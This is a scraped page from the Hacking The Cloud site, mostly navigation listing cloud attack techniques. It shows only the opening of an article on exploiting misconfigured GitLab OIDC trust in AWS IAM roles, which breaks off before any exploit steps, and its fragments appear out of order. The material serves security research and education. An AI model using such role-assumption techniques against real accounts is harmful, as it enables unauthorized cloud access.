class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-role-misconfiguration-using-gitlab-oidc class=md-nav__link> <span class=md-ellipsis> IAM role misconfiguration using GitLab OIDC </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit-this-misconfiguration class=md-nav__link> <span class=md-ellipsis> How to exploit this misconfiguration </span> </a> </li> <li class=md-nav__item> <a href=#how-the-aws-console-causes-this-misconfiguration-by-default class=md-nav__link> <span class=md-ellipsis> How the AWS console causes this misconfiguration by default </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Exploiting Misconfigured GitLab OIDC AWS IAM Roles</h1> <p><a href=https://openid.net/developers/how-connect-works/ >OpenID Connect</a> (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: <a href=https://securitylabs.datadoghq.com/articles/exploring-github-to-aws-keyless-authentication-flaws/ >one</a>, <a href=https://securitylabs.datadoghq.com/articles/amplified-exposure-how-aws-flaws-made-amplify-iam-roles-vulnerable-to-takeover/ >two</a>, and <a href=https://hacktodef.com/addressed-aws-defaults-risks-oidc-terraform-and-anonymous-to-administratoraccess>three</a>), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.</p> <p>In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>In this article, we are only covering misconfigured roles with a trust relationship to the <a href=https://gitlab.com/ >gitlab.com</a> SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>pull request</a> and update this article as needed.</p> </div> <h2 id=iam-role-misconfiguration-using-gitlab-oidc>IAM role misconfiguration using GitLab OIDC<a class=headerlink href=#iam-role-misconfiguration-using-gitlab-oidc title="Permanent link">&para;</a></h2> <p>According to the GitLab <a href=https://docs.gitlab.com/ee/ci/cloud_services/aws/ >documentation</a>, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-role-misconfiguration-using-gitlab-oidc class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> 